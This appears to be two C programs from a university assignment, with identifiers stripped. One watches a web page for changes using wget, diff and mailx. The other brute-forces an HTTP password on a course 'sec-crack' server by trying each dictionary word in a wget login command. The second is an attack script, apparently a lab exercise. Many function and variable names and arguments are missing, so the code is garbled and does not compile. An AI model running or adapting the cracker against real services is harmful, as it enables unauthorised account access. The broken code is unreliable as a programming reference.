#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>

int ()
{

 FILE *fp;
 char [100];
 int flag = 0;
 system("rm index.html*");
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");
 system("mv index.html index1.html");
 sleep(8640);
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");

 system("diff index1.html index.html > out.txt");

 fp = fopen("out.txt","r");

 if (fgets(,100,fp) != NULL)
 {

   flag = 1;
   printf("\nThere  changes in the website.Check your mail\n");
   system("mailx -s \"output of watchdog\"  < out.txt");

 }

  if(flag == 0 )
   printf("\n    changes in the website\n ");
 fclose(fp);
 exit(1);

 }















#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
